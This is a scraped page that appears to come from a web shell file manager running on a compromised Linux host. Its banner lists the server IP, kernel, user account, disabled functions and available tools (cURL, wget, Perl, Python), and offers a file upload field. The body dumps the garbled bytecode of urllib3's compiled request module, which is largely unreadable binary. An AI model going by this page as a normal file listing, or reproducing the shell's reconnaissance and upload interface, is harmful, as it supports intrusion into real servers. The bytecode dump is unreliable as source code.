Server IP : 192.158.238.246 / Your IP : 3.143.215.114 Web Server : LiteSpeed System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64 User : jenniferflocom ( 1321) PHP Version : 8.1.32 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /opt/imunify360/venv/lib/python3.11/site-packages/urllib3/__pycache__/ |
Upload File : |
� �� ha � �L � d dl mZ ddlmZ ddlmZ dgZ G d� de� � ZdS )� )�absolute_import� )�encode_multipart_formdata)� urlencode�RequestMethodsc �R � e Zd ZdZh d�Zd d�Z dd�Zdd�Zdd�Z dd �Z dS ) r a� Convenience mixin for classes who implement a :meth:`urlopen` method, such as :class:`urllib3.HTTPConnectionPool` and :class:`urllib3.PoolManager`. Provides behavior for making common types of HTTP request methods and decides which type of request field encoding to use. Specifically, :meth:`.request_encode_url` is for sending requests whose fields are encoded in the URL (such as GET, HEAD, DELETE). :meth:`.request_encode_body` is for sending requests whose fields are encoded in the *body* of the request using multipart or www-form-urlencoded (such as for POST, PUT, PATCH). :meth:`.request` is for making any kind of request, it will look up the appropriate encoding format and use one of the above two methods to make the request. Initializer parameters: :param headers: Headers to include with all requests, unless other headers are given explicitly. > �GET�HEAD�DELETE�OPTIONSNc � � |pi | _ d S �N)�headers)�selfr s �F/opt/imunify360/venv/lib64/python3.11/site-packages/urllib3/request.py�__init__zRequestMethods.__init__( s � ��}�"����� Tc � � t d� � �)NzMClasses extending RequestMethods must implement their own ``urlopen`` method.)�NotImplementedError)r �method�url�bodyr �encode_multipart�multipart_boundary�kws r �urlopenzRequestMethods.urlopen+ s � � "� ,� � � r c � � |� � � }||d<